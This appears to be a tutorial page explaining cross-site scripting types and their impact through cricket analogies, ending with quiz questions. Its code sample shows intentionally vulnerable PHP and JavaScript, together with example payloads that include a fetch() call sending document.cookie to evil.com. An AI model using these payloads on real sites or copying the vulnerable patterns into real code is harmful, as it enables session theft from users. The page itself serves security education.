What Is XSS?
Cross-Site Scripting (XSS) occurs when an application includes untrusted input in its rendered HTML output without proper encoding, allowing an attacker's injected JavaScript to execute in the browser of anyone who views that page. Because the malicious script runs in the victim's browser under the vulnerable site's own origin, it inherits that origin's trust — able to read cookies, make authenticated requests, capture keystrokes, or redirect the user, all while appearing to come from the legitimate website itself.
Cricket analogy: It is like a stadium's giant screen displaying a fan's submitted message verbatim without checking it, so a message containing hidden instructions to the ground staff gets acted on as if it came from the match officials.
Types of XSS
Stored and Reflected XSS
Stored XSS occurs when the malicious script is saved on the server — in a comment field, a user profile bio, or a support ticket — and then served to every subsequent visitor who views that content, making it especially dangerous because a single injection can compromise many victims over time. Reflected XSS instead requires the malicious payload to be part of the request itself, typically a query parameter, which the server echoes back into the response without encoding; because the payload isn't stored, the attacker must trick a victim into clicking a crafted link, often via phishing emails or malicious ads.
Cricket analogy: Stored XSS is like a permanently vandalized scoreboard that shows the same false score to every fan who walks in for months, while reflected XSS is like a one-time trick where a specific fan is handed a fake ticket that only lies to that individual.
DOM-based XSS is distinct from the other two because the vulnerability lives entirely in client-side JavaScript rather than in server-rendered output — the malicious payload never even needs to touch the server. It happens when JavaScript reads data from an attacker-controllable source, such as location.hash, document.URL, or window.name, and writes it into a dangerous sink like innerHTML or eval() without sanitization, meaning even a site with a perfectly secure backend can still be vulnerable purely through insecure front-end code.
Cricket analogy: It is like a stadium's electronic scoreboard reading commentary directly from a fan's handheld radio signal and displaying it verbatim, entirely bypassing the official scoring booth that would normally validate it.
<!-- VULNERABLE: reflected XSS -->
<!-- search.php?q=<script>fetch('https://evil.com/steal?c='+document.cookie)</script> -->
<p>Search results for: <?php echo $_GET['q']; ?></p>
<!-- VULNERABLE: DOM-based XSS, entirely client-side -->
<script>
// page.html#<img src=x onerror=alert(document.cookie)>
const hash = decodeURIComponent(location.hash.slice(1));
document.getElementById('welcome').innerHTML = hash; // dangerous sink
</script>Impact of XSS Attacks
A successful XSS attack can steal session cookies to hijack a victim's authenticated session, log keystrokes to capture passwords, deface a page, redirect users to phishing sites, or, when chained with CSRF, perform actions on the victim's behalf such as transferring funds or changing an account's email address. XSS has consistently ranked among the OWASP Top 10 precisely because it is common, easy to introduce accidentally through any place user content is rendered, and devastating when it targets high-privilege users like administrators.
Cricket analogy: It is like an impersonator stealing a captain's accreditation badge at the ground, then using it to walk into the dressing room and make real tactical decisions on the captain's behalf.
Session hijacking via stolen cookies can be significantly mitigated by marking cookies HttpOnly (inaccessible to JavaScript) and Secure (sent only over HTTPS), though this does not stop other forms of XSS abuse like keylogging or DOM manipulation.
- XSS lets attacker-controlled scripts run in a victim's browser under the vulnerable site's trusted origin.
- Stored XSS persists on the server and affects every visitor who views the infected content.
- Reflected XSS requires the payload to be part of the request and relies on tricking a victim into clicking a link.
- DOM-based XSS lives entirely in client-side JavaScript, bypassing the server completely.
- Dangerous sinks like innerHTML and eval() combined with untrusted sources cause DOM XSS.
- Impact ranges from cookie theft and session hijacking to keylogging and CSRF-chained account takeover.
- XSS remains a persistent OWASP Top 10 risk due to its prevalence and severity against privileged users.
Practice what you learned
1. Why does an XSS payload inherit the trust of the vulnerable website?
2. What distinguishes stored XSS from reflected XSS?
3. What makes DOM-based XSS unique compared to stored and reflected XSS?
4. Which of the following is a 'dangerous sink' commonly associated with DOM-based XSS?
5. How can HttpOnly cookies help mitigate the impact of XSS?
Was this page helpful?
You May Also Like
Preventing XSS
Learn the core defenses against Cross-Site Scripting: contextual output encoding, sanitization, and Content Security Policy, plus how they work together.
SQL Injection Explained
Learn how attackers manipulate SQL queries by injecting malicious input, and why this remains one of the most dangerous web application vulnerabilities.
Command Injection
Understand how command injection lets attackers execute arbitrary operating system commands through vulnerable application inputs, and why it's often more dangerous than SQL Injection.